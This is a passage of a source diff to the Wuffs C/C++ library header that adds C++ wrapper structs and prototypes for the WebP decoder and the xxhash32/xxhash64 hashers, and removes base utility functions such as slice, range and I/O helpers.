!defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_webp__decoder__struct() = delete; ++ wuffs_webp__decoder__struct(const wuffs_webp__decoder__struct&) = delete; ++ wuffs_webp__decoder__struct& operator=( ++ const wuffs_webp__decoder__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + +-// DecodeJson calls callbacks based on the JSON-formatted data in input. +-// +-// On success, the returned error_message is empty and cursor_position counts +-// the number of bytes consumed. On failure, error_message is non-empty and +-// cursor_position is the location of the error. That error may be a content +-// error (invalid JSON) or an input error (e.g. network failure). +-// +-// json_pointer is a query in the JSON Pointer (RFC 6901) syntax. The callbacks +-// run for the input's sub-node that matches the query. DecodeJson_NoMatch is +-// returned if no matching sub-node was found. The empty query matches the +-// input's root node, consistent with JSON Pointer semantics. +-// +-// The JSON Pointer implementation is greedy: duplicate keys are not rejected +-// but only the first match for each '/'-separated fragment is followed. +-DecodeJsonResult // +-DecodeJson(DecodeJsonCallbacks& callbacks, +- sync_io::Input& input, +- DecodeJsonArgQuirks quirks = DecodeJsonArgQuirks::DefaultValue(), +- DecodeJsonArgJsonPointer json_pointer = +- DecodeJsonArgJsonPointer::DefaultValue()); ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) + +-} // namespace wuffs_aux ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_webp__decoder__initialize( ++ this, sizeof_star_self, wuffs_version, options); ++ } + +-#endif // defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ inline wuffs_base__image_decoder* ++ upcast_as__wuffs_base__image_decoder() { ++ return (wuffs_base__image_decoder*)this; ++ } + +-// ‼ WUFFS C HEADER ENDS HERE. +-#ifdef WUFFS_IMPLEMENTATION ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_webp__decoder__get_quirk(this, a_key); ++ } + +-#ifdef __cplusplus +-extern "C" { +-#endif ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_webp__decoder__set_quirk(this, a_key, a_value); ++ } + +-// ---------------- Fundamentals ++ inline wuffs_base__status ++ decode_image_config( ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_webp__decoder__decode_image_config(this, a_dst, a_src); ++ } + +-// WUFFS_BASE__MAGIC is a magic number to check that initializers are called. +-// It's not foolproof, given C doesn't automatically zero memory before use, +-// but it should catch 99.99% of cases. +-// +-// Its (non-zero) value is arbitrary, based on md5sum("wuffs"). +-#define WUFFS_BASE__MAGIC ((uint32_t)0x3CCB6C71) ++ inline wuffs_base__status ++ decode_frame_config( ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_webp__decoder__decode_frame_config(this, a_dst, a_src); ++ } + +-// WUFFS_BASE__DISABLED is a magic number to indicate that a non-recoverable +-// error was previously encountered. +-// +-// Its (non-zero) value is arbitrary, based on md5sum("disabled"). +-#define WUFFS_BASE__DISABLED ((uint32_t)0x075AE3D2) ++ inline wuffs_base__status ++ decode_frame( ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ return wuffs_webp__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ } + +-// Use switch cases for coroutine suspension points, similar to the technique +-// in https://www.chiark.greenend.org.uk/~sgtatham/coroutines.html +-// +-// The implicit fallthrough is intentional. +-// +-// We use trivial macros instead of an explicit assignment and case statement +-// so that clang-format doesn't get confused by the unusual "case"s. +-#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0 case 0:; +-#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT(n) \ +- coro_susp_point = n; \ +- case n:; ++ inline wuffs_base__rect_ie_u32 ++ frame_dirty_rect() const { ++ return wuffs_webp__decoder__frame_dirty_rect(this); ++ } + +-#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(n) \ +- if (!status.repr) { \ +- goto ok; \ +- } else if (*status.repr != '$') { \ +- goto exit; \ +- } \ +- coro_susp_point = n; \ +- goto suspend; \ +- case n:; ++ inline uint32_t ++ num_animation_loops() const { ++ return wuffs_webp__decoder__num_animation_loops(this); ++ } + +-// The "defined(__clang__)" isn't redundant. While vanilla clang defines +-// __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. +-#if defined(__GNUC__) || defined(__clang__) +-#define WUFFS_BASE__LIKELY(expr) (__builtin_expect(!!(expr), 1)) +-#define WUFFS_BASE__UNLIKELY(expr) (__builtin_expect(!!(expr), 0)) +-#else +-#define WUFFS_BASE__LIKELY(expr) (expr) +-#define WUFFS_BASE__UNLIKELY(expr) (expr) +-#endif ++ inline uint64_t ++ num_decoded_frame_configs() const { ++ return wuffs_webp__decoder__num_decoded_frame_configs(this); ++ } + +-// -------- ++ inline uint64_t ++ num_decoded_frames() const { ++ return wuffs_webp__decoder__num_decoded_frames(this); ++ } + +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wcast-qual" +-#endif +-static inline uint8_t* // +-wuffs_base__strip_const_from_u8_ptr(const uint8_t* ptr) { +- return (uint8_t*)ptr; +-} +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++ inline wuffs_base__status ++ restart_frame( ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ return wuffs_webp__decoder__restart_frame(this, a_index, a_io_position); ++ } + +-// -------- ++ inline wuffs_base__empty_struct ++ set_report_metadata( ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_webp__decoder__set_report_metadata(this, a_fourcc, a_report); ++ } + +-static inline wuffs_base__empty_struct // +-wuffs_base__ignore_status(wuffs_base__status z) { +- return wuffs_base__make_empty_struct(); +-} ++ inline wuffs_base__status ++ tell_me_more( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_webp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); ++ } + +-static inline wuffs_base__status // +-wuffs_base__status__ensure_not_a_suspension(wuffs_base__status z) { +- if (z.repr && (*z.repr == '$')) { +- z.repr = wuffs_base__error__cannot_return_a_suspension; ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_webp__decoder__workbuf_len(this); + } +- return z; +-} + +-// -------- ++#endif // __cplusplus ++}; // struct wuffs_webp__decoder__struct + +-// wuffs_base__iterate_total_advance returns the exclusive pointer-offset at +-// which iteration should stop. The overall slice has length total_len, each +-// iteration's sub-slice has length iter_len and are placed iter_advance apart. +-// +-// The iter_advance may not be larger than iter_len. The iter_advance may be +-// smaller than iter_len, in which case the sub-slices will overlap. +-// +-// The return value r satisfies ((0 <= r) && (r <= total_len)). +-// +-// For example, if total_len = 15, iter_len = 5 and iter_advance = 3, there are +-// four iterations at offsets 0, 3, 6 and 9. This function returns 12. +-// +-// 0123456789012345 +-// [....] +-// [....] +-// [....] +-// [....] +-// $ +-// 0123456789012345 +-// +-// For example, if total_len = 15, iter_len = 5 and iter_advance = 5, there are +-// three iterations at offsets 0, 5 and 10. This function returns 15. ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) || defined(WUFFS_NONMONOLITHIC) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) ++ ++// ---------------- Status Codes ++ ++// ---------------- Public Consts ++ ++// ---------------- Struct Declarations ++ ++typedef struct wuffs_xxhash32__hasher__struct wuffs_xxhash32__hasher; ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++// ---------------- Public Initializer Prototypes ++ ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". + // +-// 0123456789012345 +-// [....] +-// [....] +-// [....] +-// $ +-// 0123456789012345 +-static inline size_t // +-wuffs_base__iterate_total_advance(size_t total_len, +- size_t iter_len, +- size_t iter_advance) { +- if (total_len >= iter_len) { +- size_t n = total_len - iter_len; +- return ((n / iter_advance) * iter_advance) + iter_advance; +- } +- return 0; +-} ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + +-// ---------------- Numeric Types ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_xxhash32__hasher__initialize( ++ wuffs_xxhash32__hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); + +-extern const uint8_t wuffs_base__low_bits_mask__u8[8]; +-extern const uint16_t wuffs_base__low_bits_mask__u16[16]; +-extern const uint32_t wuffs_base__low_bits_mask__u32[32]; +-extern const uint64_t wuffs_base__low_bits_mask__u64[64]; ++size_t ++sizeof__wuffs_xxhash32__hasher(void); + +-#define WUFFS_BASE__LOW_BITS_MASK__U8(n) (wuffs_base__low_bits_mask__u8[n]) +-#define WUFFS_BASE__LOW_BITS_MASK__U16(n) (wuffs_base__low_bits_mask__u16[n]) +-#define WUFFS_BASE__LOW_BITS_MASK__U32(n) (wuffs_base__low_bits_mask__u32[n]) +-#define WUFFS_BASE__LOW_BITS_MASK__U64(n) (wuffs_base__low_bits_mask__u64[n]) ++// ---------------- Allocs + +-// -------- ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. + +-static inline void // +-wuffs_base__u8__sat_add_indirect(uint8_t* x, uint8_t y) { +- *x = wuffs_base__u8__sat_add(*x, y); +-} ++wuffs_xxhash32__hasher* ++wuffs_xxhash32__hasher__alloc(void); + +-static inline void // +-wuffs_base__u8__sat_sub_indirect(uint8_t* x, uint8_t y) { +- *x = wuffs_base__u8__sat_sub(*x, y); ++static inline wuffs_base__hasher_u32* ++wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32(void) { ++ return (wuffs_base__hasher_u32*)(wuffs_xxhash32__hasher__alloc()); + } + +-static inline void // +-wuffs_base__u16__sat_add_indirect(uint16_t* x, uint16_t y) { +- *x = wuffs_base__u16__sat_add(*x, y); +-} ++// ---------------- Upcasts + +-static inline void // +-wuffs_base__u16__sat_sub_indirect(uint16_t* x, uint16_t y) { +- *x = wuffs_base__u16__sat_sub(*x, y); ++static inline wuffs_base__hasher_u32* ++wuffs_xxhash32__hasher__upcast_as__wuffs_base__hasher_u32( ++ wuffs_xxhash32__hasher* p) { ++ return (wuffs_base__hasher_u32*)p; + } + +-static inline void // +-wuffs_base__u32__sat_add_indirect(uint32_t* x, uint32_t y) { +- *x = wuffs_base__u32__sat_add(*x, y); +-} ++// ---------------- Public Function Prototypes + +-static inline void // +-wuffs_base__u32__sat_sub_indirect(uint32_t* x, uint32_t y) { +- *x = wuffs_base__u32__sat_sub(*x, y); +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xxhash32__hasher__get_quirk( ++ const wuffs_xxhash32__hasher* self, ++ uint32_t a_key); + +-static inline void // +-wuffs_base__u64__sat_add_indirect(uint64_t* x, uint64_t y) { +- *x = wuffs_base__u64__sat_add(*x, y); +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_xxhash32__hasher__set_quirk( ++ wuffs_xxhash32__hasher* self, ++ uint32_t a_key, ++ uint64_t a_value); + +-static inline void // +-wuffs_base__u64__sat_sub_indirect(uint64_t* x, uint64_t y) { +- *x = wuffs_base__u64__sat_sub(*x, y); +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_xxhash32__hasher__update( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x); + +-// ---------------- Numeric Types (Utility) ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_xxhash32__hasher__update_u32( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x); + +-#define wuffs_base__utility__sign_extend_convert_u16_u32(a) \ +- ((uint32_t)(int32_t)(int16_t)(a)) ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_xxhash32__hasher__checksum_u32( ++ const wuffs_xxhash32__hasher* self); + +-#define wuffs_base__utility__sign_extend_rshift_u32(a, n) \ +- ((uint32_t)(((int32_t)(a)) >> (n))) ++#ifdef __cplusplus ++} // extern "C" ++#endif + +-#define wuffs_base__utility__sign_extend_rshift_u64(a, n) \ +- ((uint64_t)(((int64_t)(a)) >> (n))) ++// ---------------- Struct Definitions + +-// ---------------- Slices and Tables ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C + +-// wuffs_base__slice_u8__prefix returns up to the first up_to bytes of s. +-static inline wuffs_base__slice_u8 // +-wuffs_base__slice_u8__prefix(wuffs_base__slice_u8 s, uint64_t up_to) { +- if (((uint64_t)(s.len)) > up_to) { +- s.len = ((size_t)up_to); ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_xxhash32__hasher__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. ++ ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__hasher_u32; ++ wuffs_base__vtable null_vtable; ++ ++ uint32_t f_length_modulo_u32; ++ bool f_length_overflows_u32; ++ uint8_t f_padding0; ++ uint8_t f_padding1; ++ uint8_t f_buf_len; ++ uint8_t f_buf_data[16]; ++ uint32_t f_v0; ++ uint32_t f_v1; ++ uint32_t f_v2; ++ uint32_t f_v3; ++ } private_impl; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++ ++ // On failure, the alloc_etc functions return nullptr. They don't throw. ++ ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_xxhash32__hasher__alloc()); + } +- return s; +-} + +-// wuffs_base__slice_u8__suffix returns up to the last up_to bytes of s. +-static inline wuffs_base__slice_u8 // +-wuffs_base__slice_u8__suffix(wuffs_base__slice_u8 s, uint64_t up_to) { +- if (((uint64_t)(s.len)) > up_to) { +- s.ptr += ((uint64_t)(s.len)) - up_to; +- s.len = ((size_t)up_to); ++ static inline wuffs_base__hasher_u32::unique_ptr ++ alloc_as__wuffs_base__hasher_u32() { ++ return wuffs_base__hasher_u32::unique_ptr( ++ wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32()); + } +- return s; +-} ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +-// wuffs_base__slice_u8__copy_from_slice calls memmove(dst.ptr, src.ptr, len) +-// where len is the minimum of dst.len and src.len. +-// +-// Passing a wuffs_base__slice_u8 with all fields NULL or zero (a valid, empty +-// slice) is valid and results in a no-op. +-static inline uint64_t // +-wuffs_base__slice_u8__copy_from_slice(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src) { +- size_t len = dst.len < src.len ? dst.len : src.len; +- if (len > 0) { +- memmove(dst.ptr, src.ptr, len); ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_xxhash32__hasher__struct() = delete; ++ wuffs_xxhash32__hasher__struct(const wuffs_xxhash32__hasher__struct&) = delete; ++ wuffs_xxhash32__hasher__struct& operator=( ++ const wuffs_xxhash32__hasher__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) ++ ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_xxhash32__hasher__initialize( ++ this, sizeof_star_self, wuffs_version, options); + } +- return len; +-} + +-static inline wuffs_base__empty_struct // +-wuffs_base__bulk_load_host_endian(void* ptr, +- size_t len, +- wuffs_base__slice_u8 src) { +- if (len && (len <= src.len)) { +- memmove(ptr, src.ptr, len); ++ inline wuffs_base__hasher_u32* ++ upcast_as__wuffs_base__hasher_u32() { ++ return (wuffs_base__hasher_u32*)this; + } +- return wuffs_base__make_empty_struct(); +-} + +-static inline wuffs_base__empty_struct // +-wuffs_base__bulk_memset(void* ptr, size_t len, uint8_t byte_value) { +- if (len) { +- memset(ptr, byte_value, len); ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_xxhash32__hasher__get_quirk(this, a_key); + } +- return wuffs_base__make_empty_struct(); +-} + +-static inline wuffs_base__empty_struct // +-wuffs_base__bulk_save_host_endian(void* ptr, +- size_t len, +- wuffs_base__slice_u8 dst) { +- if (len && (len <= dst.len)) { +- memmove(dst.ptr, ptr, len); ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_xxhash32__hasher__set_quirk(this, a_key, a_value); + } +- return wuffs_base__make_empty_struct(); +-} + +-// -------- ++ inline wuffs_base__empty_struct ++ update( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_xxhash32__hasher__update(this, a_x); ++ } + +-static inline wuffs_base__slice_u8 // +-wuffs_base__table_u8__row_u32(wuffs_base__table_u8 t, uint32_t y) { +- if (y < t.height) { +- return wuffs_base__make_slice_u8(t.ptr + (t.stride * y), t.width); ++ inline uint32_t ++ update_u32( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_xxhash32__hasher__update_u32(this, a_x); + } +- return wuffs_base__make_slice_u8(NULL, 0); +-} + +-// ---------------- Slices and Tables (Utility) ++ inline uint32_t ++ checksum_u32() const { ++ return wuffs_xxhash32__hasher__checksum_u32(this); ++ } + +-#define wuffs_base__utility__empty_slice_u8 wuffs_base__empty_slice_u8 ++#endif // __cplusplus ++}; // struct wuffs_xxhash32__hasher__struct + +-// ---------------- Ranges and Rects ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-static inline uint32_t // +-wuffs_base__range_ii_u32__get_min_incl(const wuffs_base__range_ii_u32* r) { +- return r->min_incl; +-} ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) + +-static inline uint32_t // +-wuffs_base__range_ii_u32__get_max_incl(const wuffs_base__range_ii_u32* r) { +- return r->max_incl; +-} ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) + +-static inline uint32_t // +-wuffs_base__range_ie_u32__get_min_incl(const wuffs_base__range_ie_u32* r) { +- return r->min_incl; +-} ++// ---------------- Status Codes + +-static inline uint32_t // +-wuffs_base__range_ie_u32__get_max_excl(const wuffs_base__range_ie_u32* r) { +- return r->max_excl; +-} ++// ---------------- Public Consts + +-static inline uint64_t // +-wuffs_base__range_ii_u64__get_min_incl(const wuffs_base__range_ii_u64* r) { +- return r->min_incl; +-} ++// ---------------- Struct Declarations + +-static inline uint64_t // +-wuffs_base__range_ii_u64__get_max_incl(const wuffs_base__range_ii_u64* r) { +- return r->max_incl; +-} ++typedef struct wuffs_xxhash64__hasher__struct wuffs_xxhash64__hasher; + +-static inline uint64_t // +-wuffs_base__range_ie_u64__get_min_incl(const wuffs_base__range_ie_u64* r) { +- return r->min_incl; +-} ++#ifdef __cplusplus ++extern "C" { ++#endif + +-static inline uint64_t // +-wuffs_base__range_ie_u64__get_max_excl(const wuffs_base__range_ie_u64* r) { +- return r->max_excl; +-} ++// ---------------- Public Initializer Prototypes + +-// ---------------- Ranges and Rects (Utility) ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + +-#define wuffs_base__utility__empty_range_ii_u32 wuffs_base__empty_range_ii_u32 +-#define wuffs_base__utility__empty_range_ie_u32 wuffs_base__empty_range_ie_u32 +-#define wuffs_base__utility__empty_range_ii_u64 wuffs_base__empty_range_ii_u64 +-#define wuffs_base__utility__empty_range_ie_u64 wuffs_base__empty_range_ie_u64 +-#define wuffs_base__utility__empty_rect_ii_u32 wuffs_base__empty_rect_ii_u32 +-#define wuffs_base__utility__empty_rect_ie_u32 wuffs_base__empty_rect_ie_u32 +-#define wuffs_base__utility__make_range_ii_u32 wuffs_base__make_range_ii_u32 +-#define wuffs_base__utility__make_range_ie_u32 wuffs_base__make_range_ie_u32 +-#define wuffs_base__utility__make_range_ii_u64 wuffs_base__make_range_ii_u64 +-#define wuffs_base__utility__make_range_ie_u64 wuffs_base__make_range_ie_u64 +-#define wuffs_base__utility__make_rect_ii_u32 wuffs_base__make_rect_ii_u32 +-#define wuffs_base__utility__make_rect_ie_u32 wuffs_base__make_rect_ie_u32 ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_xxhash64__hasher__initialize( ++ wuffs_xxhash64__hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); + +-// ---------------- I/O ++size_t ++sizeof__wuffs_xxhash64__hasher(void); + +-static inline uint64_t // +-wuffs_base__io__count_since(uint64_t mark, uint64_t index) { +- if (index >= mark) { +- return index - mark; +- } +- return 0; +-} ++// ---------------- Allocs + +-// TODO: drop the "const" in "const uint8_t* ptr". Some though required about +-// the base.io_reader.since method returning a mutable "slice base.u8". +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wcast-qual" +-#endif +-static inline wuffs_base__slice_u8 // +-wuffs_base__io__since(uint64_t mark, uint64_t index, const uint8_t* ptr) { +- if (index >= mark) { +- return wuffs_base__make_slice_u8(((uint8_t*)ptr) + mark, +- ((size_t)(index - mark))); +- } +- return wuffs_base__make_slice_u8(NULL, 0); +-} +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. + +-// -------- ++wuffs_xxhash64__hasher* ++wuffs_xxhash64__hasher__alloc(void); + +-static inline void // +-wuffs_base__io_reader__limit(const uint8_t** ptr_io2_r, +- const uint8_t* iop_r, +- uint64_t limit) { +- if (((uint64_t)(*ptr_io2_r - iop_r)) > limit) { +- *ptr_io2_r = iop_r + limit; +- } ++static inline wuffs_base__hasher_u64* ++wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64(void) { ++ return (wuffs_base__hasher_u64*)(wuffs_xxhash64__hasher__alloc()); + } + +-static inline uint32_t // +-wuffs_base__io_reader__limited_copy_u32_to_slice(const uint8_t** ptr_iop_r, +- const uint8_t* io2_r, +- uint32_t length, +- wuffs_base__slice_u8 dst) { +- const uint8_t* iop_r = *ptr_iop_r; +- size_t n = dst.len; +- if (n > length) { +- n = length; +- } +- if (n > ((size_t)(io2_r - iop_r))) { +- n = (size_t)(io2_r - iop_r); +- } +- if (n > 0) { +- memmove(dst.ptr, iop_r, n); +- *ptr_iop_r += n; +- } +- return (uint32_t)(n); ++// ---------------- Upcasts ++ ++static inline wuffs_base__hasher_u64* ++wuffs_xxhash64__hasher__upcast_as__wuffs_base__hasher_u64( ++ wuffs_xxhash64__hasher* p) { ++ return (wuffs_base__hasher_u64*)p; + } + +-// wuffs_base__io_reader__match7 returns whether the io_reader's upcoming bytes +-// start with the given prefix (up to 7 bytes long). It is peek-like, not +-// read-like, in that there are no side-effects. +-// +-// The low 3 bits of a hold the prefix length, n. +-// +-// The high 56 bits of a hold the prefix itself, in little-endian order. The +-// first prefix byte is in bits 8..=15, the second prefix byte is in bits +-// 16..=23, etc. The high (8 * (7 - n)) bits are ignored. +-// +-// There are three possible return values: +-// - 0 means success. +-// - 1 means inconclusive, equivalent to "$short read". +-// - 2 means failure. +-static inline uint32_t // +-wuffs_base__io_reader__match7(const uint8_t* iop_r, +- const uint8_t* io2_r, +- wuffs_base__io_buffer* r, +- uint64_t a) { +- uint32_t n = a & 7; +- a >>= 8; +- if ((io2_r - iop_r) >= 8) { +- uint64_t x = wuffs_base__peek_u64le__no_bounds_check(iop_r); +- uint32_t shift = 8 * (8 - n); +- return ((a << shift) == (x << shift)) ? 0 : 2; +- } +- for (; n > 0; n--) { +- if (iop_r >= io2_r) { +- return (r && r->meta.closed) ? 2 : 1; +- } else if (*iop_r != ((uint8_t)(a))) { +- return 2; +- } +- iop_r++; +- a >>= 8; +- } +- return 0; +-} ++// ---------------- Public Function Prototypes + +-static inline wuffs_base__io_buffer* // +-wuffs_base__io_reader__set(wuffs_base__io_buffer* b, +- const uint8_t** ptr_iop_r, +- const uint8_t** ptr_io0_r, +- const uint8_t** ptr_io1_r, +- const uint8_t** ptr_io2_r, +- wuffs_base__slice_u8 data, +- uint64_t history_position) { +- b->data = data; +- b->meta.wi = data.len; +- b->meta.ri = 0; +- b->meta.pos = history_position; +- b->meta.closed = false; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xxhash64__hasher__get_quirk( ++ const wuffs_xxhash64__hasher* self, ++ uint32_t a_key); + +- *ptr_iop_r = data.ptr; +- *ptr_io0_r = data.ptr; +- *ptr_io1_r = data.ptr; +- *ptr_io2_r = data.ptr + data.len; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_xxhash64__hasher__set_quirk( ++ wuffs_xxhash64__hasher* self, ++ uint32_t a_key, ++ uint64_t a_value); + +- return b; +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_xxhash64__hasher__update( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x); + +-// -------- ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xxhash64__hasher__update_u64( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x); + +-static inline uint64_t // 